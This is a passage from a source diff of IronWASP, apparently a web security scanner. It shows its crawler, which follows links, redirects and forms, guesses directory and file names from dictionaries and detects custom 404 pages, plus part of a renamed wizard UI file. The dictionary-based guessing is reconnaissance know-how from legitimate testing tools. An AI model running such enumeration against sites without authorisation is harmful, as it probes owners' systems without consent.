StringSplitOptions.RemoveEmptyEntries)); + } + catch(Exception Exp) + { + IronException.Report("Error loading DirNamesDictionary.txt", Exp); + } + try + { + StreamReader Reader = File.OpenText(Config.RootDir + "/FileNamesDictionary.txt"); + string FileList = Reader.ReadToEnd(); + Reader.Close(); + FileNamesToCheck = new List(FileList.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); + } + catch (Exception Exp) + { + IronException.Report("Error loading FileNamesDictionary.txt", Exp); + } + } + + void Crawl(object ObjectItem) + { + if (Stopped) return; + try + { + object[] Objects = (object[])ObjectItem; + Request Req = (Request)Objects[0]; + int Depth = (int)Objects[1]; + bool Scraped = (bool)Objects[2]; + Crawl(Req, Depth, Scraped); + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Error while Crawling", Exp.Message, Exp.StackTrace); + } + finally + { + CrawlQueueItem(); + } + } + + void Crawl(Request Req, int Depth, bool Scraped) + { + if (Stopped) return; + if (Depth > MaxDepth) return; + if (WasCrawled(Req)) return; + if (!CanCrawl(Req)) return; + + lock (PageSignatures) + { + PageSignatures.Add(GetPageSignature(Req)); + } + + Req.Source = RequestSource.Probe; + Req.SetCookie(Cookies); + if (UserAgent.Length > 0) Req.Headers.Set("User-Agent", UserAgent); + if (SpecialHeader[0] != null) Req.Headers.Set(SpecialHeader[0], SpecialHeader[1]); + if (Stopped) return; + Response Res = Req.Send(); + if (Stopped) return; + Cookies.Add(Req, Res); + bool Is404File = IsA404(Req, Res); + + if (!Res.IsHtml) + { + return; + } + + if (Depth + 1 > MaxDepth) return; + List Redirects = GetRedirects(Req, Res); + foreach (Request Redirect in Redirects) + { + AddToCrawlQueue(Redirect, Depth + 1, true); + } + List LinkClicks = GetLinkClicks(Req, Res); + foreach (Request LinkClick in LinkClicks) + { + AddToCrawlQueue(LinkClick, Depth + 1, true); + } + + List FormSubmissions = GetFormSubmissions(Req, Res); + foreach (Request FormSubmission in FormSubmissions) + { + AddToCrawlQueue(FormSubmission, Depth + 1, true); + } + + Request DirCheck = Req.GetClone(); + DirCheck.Method = "GET"; + DirCheck.Body.RemoveAll(); + DirCheck.Url = DirCheck.UrlDir; + + if (!Req.Url.EndsWith("/")) + { + AddToCrawlQueue(DirCheck, Depth + 1, false); + } + + if (PerformDirAndFileGuessing && !Is404File) + { + foreach (string File in FileNamesToCheck) + { + Request FileCheck = DirCheck.GetClone(); + FileCheck.Url = string.Format("{0}{1}", FileCheck.Url, File); + AddToCrawlQueue(FileCheck, Depth + 1, false); + } + + foreach (string Dir in DirNamesToCheck) + { + Request DirectoryCheck = DirCheck.GetClone(); + DirectoryCheck.Url = string.Format("{0}{1}/", DirectoryCheck.Url, Dir); + AddToCrawlQueue(DirectoryCheck, Depth + 1, false); + } + } + if (Stopped) return; + if (Scraped || !Is404File) + { + lock (CrawledRequests) + { + CrawledRequests.Enqueue(Req.GetClone()); + } + IronUpdater.AddToSiteMap(Req); + } + } + + void CrawlQueueItem() + { + if (Stopped) return; + try + { + Interlocked.Increment(ref InCrawlQueueDequeueMode); + bool Continue = true; + Interlocked.Decrement(ref ActiveThreadCount); + lock (ToCrawlQueue) + { + while (ActiveThreadCount < MaxCrawlThreads && Continue) + { + if (Stopped) return; + Continue = false; + try + { + object[] Objects = ToCrawlQueue.Dequeue(); + Thread T = new Thread(Crawl); + T.Start(Objects); + try + { + lock (CrawlerThreads) + { + CrawlerThreads.Add(T.ManagedThreadId, T); + } + } + catch { } + Interlocked.Increment(ref ActiveThreadCount); + Continue = true; + } + catch { } + } + } + } + catch { } + try + { + lock (CrawlerThreads) + { + CrawlerThreads.Remove(Thread.CurrentThread.ManagedThreadId); + } + } + catch { } + Interlocked.Decrement(ref InCrawlQueueDequeueMode); + } + + bool WasCrawled(Request Req) + { + string ReqSignature = GetPageSignature(Req); + lock(PageSignatures) + { + if (PageSignatures.Contains(ReqSignature)) + { + return true; + } + else + { + return false; + } + } + } + + bool CanCrawl(Request Req) + { + if (!((Req.SSL && HTTPS) || (!Req.SSL && HTTP))) return false; + if(!IsHostAllowed(Req.Host)) return false; + if (!IsCrawlableExtension(Req)) return false; + if (!Req.Url.Equals(BaseUrl)) + { + if (BaseUrl.EndsWith("/")) + { + if (!Req.Url.StartsWith(BaseUrl)) return false; + } + else + { + if (!Req.Url.StartsWith(string.Format("{0}?", BaseUrl))) return false; + } + } + if (UrlsToAvoid.Contains(Req.Url) || UrlsToAvoid.Contains(Req.UrlPath)) return false; + return true; + } + + bool IsCrawlableExtension(Request Req) + { + string Ext = Req.File.ToLower().Trim(); + if (ExtenionsToAvoid.Contains(Ext)) + return false; + else + return true; + } + + bool IsHostAllowed(string Host) + { + if(Host.Equals(PrimaryHost)) return true; + if(IncludeSubDomains && Host.EndsWith(string.Format(".{0}", PrimaryHost))) return true; + foreach(string AH in HostsToInclude) + { + if(Host.Equals(AH)) return true; + if(IncludeSubDomains && Host.EndsWith(string.Format(".{0}", AH))) return true; + } + return false; + } + + bool IsA404(Request Req, Response Res) + { + Response NotFoundResponse = null; + lock (NotFoundSignatures) + { + if (NotFoundSignatures.ContainsKey(string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File))) + { + NotFoundResponse = NotFoundSignatures[string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File)]; + } + } + if(NotFoundResponse == null) + { + Request NotFoundGetter = Req.GetClone(); + NotFoundGetter.Method = "GET"; + NotFoundGetter.Body.RemoveAll(); + if (Req.File.Length > 0) + NotFoundGetter.Url = string.Format("{0}should_not_xist_{1}.{2}", NotFoundGetter.UrlDir, Tools.GetRandomString(10, 15), Req.File); + else + NotFoundGetter.Url = string.Format("{0}should_not_xist_{1}", NotFoundGetter.UrlDir, Tools.GetRandomString(10, 15)); + NotFoundResponse = NotFoundGetter.Send(); + if (Stopped) return true; + NotFoundResponse.BodyString = ""; + List HeaderNames = NotFoundResponse.Headers.GetNames(); + foreach (string HeaderName in HeaderNames) + { + if (!HeaderName.Equals("Location")) + { + NotFoundResponse.Headers.Remove(HeaderName); + } + } + NotFoundResponse.Flags.Add("Url", NotFoundGetter.Url); + lock (NotFoundSignatures) + { + if (!NotFoundSignatures.ContainsKey(string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File))) + NotFoundSignatures.Add(string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File), NotFoundResponse); + } + } + if(Res.Code == 200 && NotFoundResponse.Code != 200) return false; + if(Res.Code == 404) return true; + + if (Res.Code > 400) + { + if (NotFoundResponse.Code == Res.Code) + return true; + else + return false; + } + string NotFoundGetterUrl = NotFoundResponse.Flags["Url"].ToString(); + if (Res.Code == 301 || Res.Code == 302 || Res.Code == 303 || Res.Code == 307) + { + string RedirectedUrl = Res.Headers.Get("Location"); + if (NotFoundResponse.Code == 301 || NotFoundResponse.Code == 302 || NotFoundResponse.Code == 303 || NotFoundResponse.Code == 307) + { + string NotFoundRedirectedUrl = NotFoundResponse.Headers.Get("Location"); + if (RedirectedUrl.ToLower().Equals(NotFoundRedirectedUrl.ToLower())) + return true; + else if (Regex.IsMatch(RedirectedUrl, @".*not\Wfound.*", RegexOptions.IgnoreCase)) + return true; + else if (NotFoundRedirectedUrl.Replace(NotFoundGetterUrl,"").Equals(RedirectedUrl.Replace(Req.Url, ""))) + return true; + else + { + Request RedirectedLocationReq; + if (RedirectedUrl.StartsWith("http://") || RedirectedUrl.StartsWith("https://")) + { + RedirectedLocationReq = new Request(RedirectedUrl); + } + else if (RedirectedUrl.StartsWith("/")) + { + RedirectedLocationReq = Req.GetClone(); + RedirectedLocationReq.Url = RedirectedUrl; + } + else + { + return true; + } + Request NotFoundRedirectedLocationReq; + if (NotFoundRedirectedUrl.StartsWith("http://") || NotFoundRedirectedUrl.StartsWith("https://")) + { + NotFoundRedirectedLocationReq = new Request(NotFoundRedirectedUrl); + } + else if (NotFoundRedirectedUrl.StartsWith("/")) + { + NotFoundRedirectedLocationReq = Req.GetClone(); + NotFoundRedirectedLocationReq.Url = NotFoundRedirectedUrl; + } + else + { + return false; + } + if (RedirectedLocationReq.Url.Equals(NotFoundRedirectedLocationReq.Url)) return true; + } + } + else + return false; + } + return false; + } + + internal bool IsActive() + { + lock (ToCrawlQueue) + { + if (ToCrawlQueue.Count > 0) return true; + } + if (ActiveThreadCount > 0 || InCrawlQueueDequeueMode > 0) + return true; + else + return false; + } + + void AddToCrawlQueue(Request Req, int Depth, bool Scraped) + { + if (WasCrawled(Req)) return; + if (!CanCrawl(Req)) return; + lock (ToCrawlQueue) + { + ToCrawlQueue.Enqueue(new object[] { Req, Depth, Scraped }); + } + } + + List GetRedirects(Request Req, Response Res) + { + return GetRedirects(Req, Res, Cookies); + } + + public static List GetRedirects(Request Req, Response Res, CookieStore Cookies) + { + List Redirects = new List(); + List RedirectUrls = GetRedirectUrls(Req, Res); + foreach (string RedirectUrl in RedirectUrls) + { + try + { + Request RedirectReq = new Request(RedirectUrl); + RedirectReq.SetCookie(Cookies); + Redirects.Add(RedirectReq); + } + catch { } + } + return Redirects; + } + + //public static List GetLinkClickItems(Request Req, Response Res) + //{ + // List Results = new List(); + + // if (Res == null || Res.Html == null) return Results; + + // List LinkValues = new List(); + // foreach (HtmlAgilityPack.HtmlNode LinkNode in Res.Html.GetNodes("a", "href")) + // { + // string HrefValue = Tools.HtmlDecode(LinkNode.Attributes["href"].Value.Trim()).Trim(); + // try + // { + // Request HrefReq = new Request(HrefValue); + // IronHtml.LinkClick LinkClickItem = new IronHtml.LinkClick(HrefReq, LinkNode, IronHtml.UrlInHtmlMatch.FullAbsolute, HrefValue); + // } + // catch + // { + // if(HrefValue.StartsWith("/") || HrefValue.TrimStart('.').StartsWith("/")) + // { + + // } + // } + + // LinkValues.Add(Tools.HtmlDecode(RawLinkValue)); + // } + // return LinkValues; + //} + + List GetLinkClicks(Request Req, Response Res) + { + return GetLinkClicks(Req, Res, Cookies); + } + + public static List GetLinkClicks(Request Req, Response Res, CookieStore Cookies) + { + List LinkClicks = new List(); + List Links = GetLinks(Req, Res); + foreach (string Link in Links) + { + try + { + Request LinkReq = new Request(Link); + LinkReq.SetCookie(Cookies); + LinkClicks.Add(LinkReq); + } + catch { } + } + return LinkClicks; + } + + List GetFormSubmissions(Request Req, Response Res) + { + return GetFormSubmissions(Req, Res, Cookies); + } + + static List GetLoginFormSubmissions(Request Req, Response Res, CookieStore Cookies) + { + return GetFormSubmissionsByType(Req, Res, Cookies, true); + } + + static List GetFormSubmissions(Request Req, Response Res, CookieStore Cookies) + { + return GetFormSubmissionsByType(Req, Res, Cookies, false); + } + + public static List GetFormSubmissionsWithActualValue(Request Req, Response Res, CookieStore Cookies) + { + return GetFormSubmissionsByType(Req, Res, Cookies, false); + } + + //public static List GetFormSubmissionItems(Request Req, Response Res, CookieStore Cookies) + //{ + + //} + + static List GetFormSubmissionsByType(Request Req, Response Res, CookieStore Cookies, bool LoginFormsOnly) + { + List FormSubmissions = new List(); + List FormNodes = Res.Html.GetForms(); + foreach (HtmlNode FormNode in FormNodes) + { + Request FormSub = GetFormSubmission(Req, FormNode, Cookies, LoginFormsOnly); + if (FormSub != null) + { + FormSubmissions.Add(FormSub); + } + } + return FormSubmissions; + } + + static Request GetFormSubmission(Request Req, HtmlNode FormNode, CookieStore Cookies) + { + return GetFormSubmission(Req, FormNode, Cookies, false); + } + + static Request GetFormSubmission(Request Req, HtmlNode FormNode, CookieStore Cookies, bool LoginFormOnly) + { + return GetFormSubmission(Req, FormNode, Cookies, LoginFormOnly, true); + } + + public static Request GetFormSubmissionWithActualValue(Request Req, HtmlNode FormNode, CookieStore Cookies) + { + return GetFormSubmission(Req, FormNode, Cookies, false, false); + } + + public static Request GetFormSubmission(Request Req, HtmlNode FormNode, CookieStore Cookies, bool LoginFormOnly, bool FillEmptyFields) + { + //Login request signatures: + //form must have one password type input field + //three or more parameters must be present in the request query/body + + Request SubReq = Req.GetClone(); + SubReq.Method = "GET"; + SubReq.BodyString = ""; + + foreach (HtmlAttribute Attr in FormNode.Attributes) + { + if (Attr.Name.Equals("method")) + { + SubReq.Method = Attr.Value.ToUpper(); + } + else if(Attr.Name.Equals("action")) + { + if (Attr.Value.StartsWith("javascript:")) continue; + string ActionUrl = NormalizeUrl(Req, Tools.HtmlDecode(Attr.Value.Trim())); + if (ActionUrl.Length > 0) + { + SubReq.FullUrl = ActionUrl; + } + } + } + + if (SubReq.Method == "GET") + { + SubReq.Query.RemoveAll(); + } + else + { + SubReq.Headers.Set("Content-Type", "application/x-www-form-urlencoded"); + } + + bool PasswordFieldPresent = false; + + foreach (HtmlNode InputNode in FormNode.ChildNodes) + { + string Name = ""; + string Value = ""; + + foreach (HtmlAttribute Attr in InputNode.Attributes) + { + switch (Attr.Name) + { + case ("name"): + Name = Attr.Value; + break; + case ("type"): + if (Attr.Value.Equals("password", StringComparison.OrdinalIgnoreCase)) PasswordFieldPresent = true; + break; + case ("value"): + Value = Attr.Value; + break; + } + } + if (FillEmptyFields && Value.Length == 0) + { + Value = Tools.GetRandomString(2, 5); + } + if (Name.Length > 0) + { + if (SubReq.Method.Equals("GET")) + SubReq.Query.Add(Name, Value); + else + SubReq.Body.Add(Name, Value); + } + } + SubReq.SetCookie(Cookies); + if (LoginFormOnly) + { + if (PasswordFieldPresent) + { + if ((SubReq.Method.Equals("GET", StringComparison.OrdinalIgnoreCase) && SubReq.Query.Count >= 3) || (SubReq.Method.Equals("POST", StringComparison.OrdinalIgnoreCase) && SubReq.Body.Count >= 3)) + { + return SubReq; + } + } + } + else + { + return SubReq; + } + return null; + } + + public static List GetRedirectUrls(Request Req, Response Res) + { + List RedirectUrls = new List(); + + List LocationUrls = new List(); + if (Res.Headers.Has("Location")) LocationUrls.Add(Res.Headers.Get("Location")); + if (Res.IsHtml) + { + List LocationsFromHtml = Res.Html.GetMetaContent("http-equiv", "location"); + foreach (string LocationFromHtml in LocationsFromHtml) + { + LocationUrls.Add(Tools.HtmlDecode(LocationFromHtml)); + } + } + + foreach(string LocationUrl in LocationUrls) + { + string NormalizedLocation = NormalizeUrl(Req, LocationUrl); + if (NormalizedLocation.Length > 0) RedirectUrls.Add(NormalizedLocation); + } + + List RefreshHeaderVals = new List(); + + if (Res.Headers.Has("Refresh")) RefreshHeaderVals.Add(Res.Headers.Get("Refresh")); + if (Res.IsHtml) + { + List RefreshsFromHtml = Res.Html.GetMetaContent("http-equiv", "refresh"); + foreach (string RefreshFromHtml in RefreshsFromHtml) + { + RefreshHeaderVals.Add(Tools.HtmlDecode(RefreshFromHtml)); + } + } + + foreach(string RefreshHeaderVal in RefreshHeaderVals) + { + string[] RefreshHVParts = RefreshHeaderVal.Split(new char[]{';'}, 2); + if (RefreshHVParts.Length == 2 && RefreshHVParts[1].Length > 0) + { + string NormalizedRefreshUrl = NormalizeUrl(Req, RefreshHVParts[1]); + if (NormalizedRefreshUrl.Length > 0) RedirectUrls.Add(NormalizedRefreshUrl); + } + } + + return RedirectUrls; + } + + static List GetLinks(Request Req, Response Res) + { + List Links = new List(); + foreach (string Link in Res.Html.Links) + { + string NormalizedUrl = NormalizeUrl(Req, Link); + if (NormalizedUrl.Length > 0) Links.Add(NormalizedUrl); + } + return Links; + } + + internal static string NormalizeUrl(Request Req, string RawLink) + { + if (RawLink.IndexOf('#') > -1) + { + RawLink = RawLink.Substring(0, RawLink.IndexOf('#')); + } + if (RawLink.StartsWith("http://") || RawLink.StartsWith("https://")) + { + return RawLink; + } + else if (RawLink.StartsWith("//")) + { + if (Req.SSL) + RawLink = string.Format("https:{0}", RawLink); + else + RawLink = string.Format("http:{0}", RawLink); + } + else if (RawLink.StartsWith("/")) + { + Request TempReq = Req.GetClone(); + TempReq.Url = RawLink; + return TempReq.FullUrl; + } + else if (RawLink.StartsWith("javascript:") || RawLink.StartsWith("file:")) + { + //ignore + } + else + { + List UrlPathParts = Req.UrlPathParts; + if (UrlPathParts.Count > 0) + { + if (!Req.Url.EndsWith("/")) UrlPathParts.RemoveAt(UrlPathParts.Count - 1); + } + + if (RawLink.StartsWith("../")) + { + string[] RawUrlParts = RawLink.Split(new char[] { '/' }); + List TreatedRawUrlParts = new List(RawUrlParts); + foreach (string Part in RawUrlParts) + { + if (Part.Equals("..") && (UrlPathParts.Count > 0)) + { + UrlPathParts.RemoveAt(UrlPathParts.Count - 1); + TreatedRawUrlParts.RemoveAt(0); + } + else + { + break; + } + } + UrlPathParts.AddRange(TreatedRawUrlParts); + StringBuilder FinalUrlBuilder = new StringBuilder(); + foreach (string UrlPart in UrlPathParts) + { + FinalUrlBuilder.Append("/"); FinalUrlBuilder.Append(UrlPart); + } + Request TempReq = Req.GetClone(); + TempReq.Url = FinalUrlBuilder.ToString(); + return TempReq.FullUrl; + } + else if (RawLink.Length > 0) + { + return string.Format("{0}{1}{2}", Req.BaseUrl.TrimEnd('/'), Req.UrlDir, RawLink); + } + } + return ""; + } + + public static bool DoesFormNodesMatchRequest(Request Req, HtmlNode FormNode) + { + //This method checks if a Request was actually generated from the submission of a particular HTML form node + + //Checks if the method of the request and method of the form node match + //Checks if the input field names in the form node exactly match the request parameter names + //Checks if the values of the hidden input field exactly match the corresponding request parameter values + + if (FormNode.Attributes["method"] != null) + { + if (FormNode.Attributes["method"].Value.Equals("GET", StringComparison.OrdinalIgnoreCase) && !Req.Method.Equals("GET", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + else if (FormNode.Attributes["method"].Value.Equals("POST", StringComparison.OrdinalIgnoreCase) && !Req.Method.Equals("POST", StringComparison.OrdinalIgnoreCase)) + { + return false; + } + } + + Parameters Params = null; + if (Req.Method.Equals("POST", StringComparison.OrdinalIgnoreCase)) + { + Params = Req.Body; + } + else + { + Params = Req.Query; + } + + if (FormNode.SelectNodes("input").Count != Params.Count || Params.Count == 0) return false; + + foreach (HtmlNode InputNode in FormNode.SelectNodes("input")) + { + string Name = ""; + if (InputNode.Attributes["name"] != null) + { + Name = InputNode.Attributes["name"].Value; + if (Req.Method.Equals("GET")) + { + if (!Req.Query.Has(Name)) return false; + } + else + { + if (!Req.Body.Has(Name)) return false; + } + } + else + { + Name = ""; + } + + if (Name.Length > 0 && InputNode.Attributes["type"] != null) + { + if (InputNode.Attributes["type"].Value.Equals("hidden", StringComparison.OrdinalIgnoreCase)) + { + if (InputNode.Attributes["value"] != null) + { + string Value = InputNode.Attributes["value"].Value; + if (!Params.GetAll(Name).Contains(Value)) + { + return false; + } + } + } + } + } + return true; + } + + public List GetFormNodesMatchingRequest(Request Req, List FormNodes) + { + List MatchingFormsNodes = new List(); + foreach (HtmlNode FormNode in FormNodes) + { + if (DoesFormNodesMatchRequest(Req, FormNode)) + { + MatchingFormsNodes.Add(FormNode); + } + } + return MatchingFormsNodes; + } + + string GetPageSignature(Request Req) + { + StringBuilder Signature = new StringBuilder(); + Signature.Append(Req.SSL.ToString()); + Signature.Append(Req.Host); + Signature.Append(Req.Method); + Signature.Append(Req.Url); + Signature.Append(Req.BodyString); + Signature.Append(Req.CookieString); + return Tools.MD5(Signature.ToString()); + } + + public List GetCrawledRequests() + { + List Requests = new List(); + lock (CrawledRequests) + { + Requests = new List(CrawledRequests.ToArray()); + CrawledRequests.Clear(); + } + return Requests; + } + + public void Stop() + { + Stopped = true; + lock (CrawlerThreads) + { + //List IDs = new List(CrawlerThreads.Keys); + //foreach (int ID in IDs) + //{ + // try + // { + // CrawlerThreads[ID].Abort(); + // } + // catch { } + //} + CrawlerThreads.Clear(); + } + lock (NotFoundSignatures) + { + NotFoundSignatures.Clear(); + } + } + } +} diff --git a/IronWASP/CreateNewRequestWizard.Designer.cs b/Iron/CreateNewRequestWizard.Designer.cs similarity index 98% rename from IronWASP/CreateNewRequestWizard.Designer.cs rename to Iron/CreateNewRequestWizard.Designer.cs index 3f46142..c289f88 100644 --- a/IronWASP/CreateNewRequestWizard.Designer.cs +++ b/Iron/CreateNewRequestWizard.Designer.cs @@ -1,508 +1,508 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class CreateNewRequestWizard - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CreateNewRequestWizard)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.CreateRequestTab = new System.Windows.Forms.TabPage(); - this.FromClipboardLL = new System.Windows.Forms.LinkLabel(); - this.FromClipBoardLbl = new System.Windows.Forms.Label(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.label30 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.panel1 = new System.Windows.Forms.Panel(); - this.PostBodyTypeCombo = new System.Windows.Forms.ComboBox(); - this.label8 = new System.Windows.Forms.Label(); - this.SelectedUserAgentLbl = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.UserAgentTree = new System.Windows.Forms.TreeView(); - this.UseUserAgentCB = new System.Windows.Forms.CheckBox(); - this.UseAdditionalHeadersCB = new System.Windows.Forms.CheckBox(); - this.PostBodyTB = new System.Windows.Forms.TextBox(); - this.UsePostBodyCB = new System.Windows.Forms.CheckBox(); - this.label2 = new System.Windows.Forms.Label(); - this.label1 = new System.Windows.Forms.Label(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.RequestUrlTB = new System.Windows.Forms.TextBox(); - this.Step0NextBtn = new System.Windows.Forms.Button(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.NameRequestTab = new System.Windows.Forms.TabPage(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.Step1PreviousStepBtn = new System.Windows.Forms.Button(); - this.label7 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.RequestNameTB = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.CreateRequestBtn = new System.Windows.Forms.Button(); - this.BaseTabs.SuspendLayout(); - this.CreateRequestTab.SuspendLayout(); - this.panel1.SuspendLayout(); - this.NameRequestTab.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.CreateRequestTab); - this.BaseTabs.Controls.Add(this.NameRequestTab); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(784, 512); - this.BaseTabs.TabIndex = 1; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // CreateRequestTab - // - this.CreateRequestTab.Controls.Add(this.FromClipboardLL); - this.CreateRequestTab.Controls.Add(this.FromClipBoardLbl); - this.CreateRequestTab.Controls.Add(this.Step0StatusTB); - this.CreateRequestTab.Controls.Add(this.label30); - this.CreateRequestTab.Controls.Add(this.label3); - this.CreateRequestTab.Controls.Add(this.panel1); - this.CreateRequestTab.Controls.Add(this.label1); - this.CreateRequestTab.Controls.Add(this.textBox2); - this.CreateRequestTab.Controls.Add(this.RequestUrlTB); - this.CreateRequestTab.Controls.Add(this.Step0NextBtn); - this.CreateRequestTab.Controls.Add(this.CancelBtn); - this.CreateRequestTab.Location = new System.Drawing.Point(4, 25); - this.CreateRequestTab.Margin = new System.Windows.Forms.Padding(0); - this.CreateRequestTab.Name = "CreateRequestTab"; - this.CreateRequestTab.Padding = new System.Windows.Forms.Padding(5); - this.CreateRequestTab.Size = new System.Drawing.Size(776, 483); - this.CreateRequestTab.TabIndex = 0; - this.CreateRequestTab.Text = " Create Request "; - this.CreateRequestTab.UseVisualStyleBackColor = true; - // - // FromClipboardLL - // - this.FromClipboardLL.AutoSize = true; - this.FromClipboardLL.Location = new System.Drawing.Point(734, 101); - this.FromClipboardLL.Name = "FromClipboardLL"; - this.FromClipboardLL.Size = new System.Drawing.Size(25, 13); - this.FromClipboardLL.TabIndex = 17; - this.FromClipboardLL.TabStop = true; - this.FromClipboardLL.Text = "Yes"; - this.FromClipboardLL.Visible = false; - this.FromClipboardLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.FromClipboardLL_LinkClicked); - // - // FromClipBoardLbl - // - this.FromClipBoardLbl.AutoSize = true; - this.FromClipBoardLbl.ForeColor = System.Drawing.Color.OrangeRed; - this.FromClipBoardLbl.Location = new System.Drawing.Point(199, 101); - this.FromClipBoardLbl.Name = "FromClipBoardLbl"; - this.FromClipBoardLbl.Size = new System.Drawing.Size(530, 13); - this.FromClipBoardLbl.TabIndex = 16; - this.FromClipBoardLbl.Text = "IMP: IronWASP has detected that you have copied an HTTP Request. Do you want to u" + - "se this Request here?"; - this.FromClipBoardLbl.Visible = false; - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(113, 446); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(550, 29); - this.Step0StatusTB.TabIndex = 14; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // label30 - // - this.label30.AutoSize = true; - this.label30.ForeColor = System.Drawing.Color.Blue; - this.label30.Location = new System.Drawing.Point(15, 79); - this.label30.Name = "label30"; - this.label30.Size = new System.Drawing.Size(211, 13); - this.label30.TabIndex = 13; - this.label30.Text = "NOTE: Url must start with http:// or https://"; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.Location = new System.Drawing.Point(10, 111); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(108, 13); - this.label3.TabIndex = 10; - this.label3.Text = "Optional Settings:"; - // - // panel1 - // - this.panel1.BackColor = System.Drawing.Color.SeaShell; - this.panel1.Controls.Add(this.PostBodyTypeCombo); - this.panel1.Controls.Add(this.label8); - this.panel1.Controls.Add(this.SelectedUserAgentLbl); - this.panel1.Controls.Add(this.label5); - this.panel1.Controls.Add(this.label4); - this.panel1.Controls.Add(this.UserAgentTree); - this.panel1.Controls.Add(this.UseUserAgentCB); - this.panel1.Controls.Add(this.UseAdditionalHeadersCB); - this.panel1.Controls.Add(this.PostBodyTB); - this.panel1.Controls.Add(this.UsePostBodyCB); - this.panel1.Controls.Add(this.label2); - this.panel1.Location = new System.Drawing.Point(3, 122); - this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(770, 313); - this.panel1.TabIndex = 10; - // - // PostBodyTypeCombo - // - this.PostBodyTypeCombo.Enabled = false; - this.PostBodyTypeCombo.FormattingEnabled = true; - this.PostBodyTypeCombo.Items.AddRange(new object[] { - "application/x-www-form-urlencoded", - "application/json", - "application/xml"}); - this.PostBodyTypeCombo.Location = new System.Drawing.Point(386, 286); - this.PostBodyTypeCombo.Name = "PostBodyTypeCombo"; - this.PostBodyTypeCombo.Size = new System.Drawing.Size(374, 21); - this.PostBodyTypeCombo.TabIndex = 19; - // - // label8 - // - this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(215, 291); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(174, 13); - this.label8.TabIndex = 18; - this.label8.Text = "Select Content-Type Header value:"; - // - // SelectedUserAgentLbl - // - this.SelectedUserAgentLbl.AutoSize = true; - this.SelectedUserAgentLbl.Location = new System.Drawing.Point(159, 178); - this.SelectedUserAgentLbl.Name = "SelectedUserAgentLbl"; - this.SelectedUserAgentLbl.Size = new System.Drawing.Size(181, 13); - this.SelectedUserAgentLbl.TabIndex = 17; - this.SelectedUserAgentLbl.Text = " "; - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(21, 178); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(138, 13); - this.label5.TabIndex = 16; - this.label5.Text = "Selected User-Agent Value:"; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(27, 86); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(134, 13); - this.label4.TabIndex = 15; - this.label4.Text = "Select User-Agent from list:"; - // - // UserAgentTree - // - this.UserAgentTree.Enabled 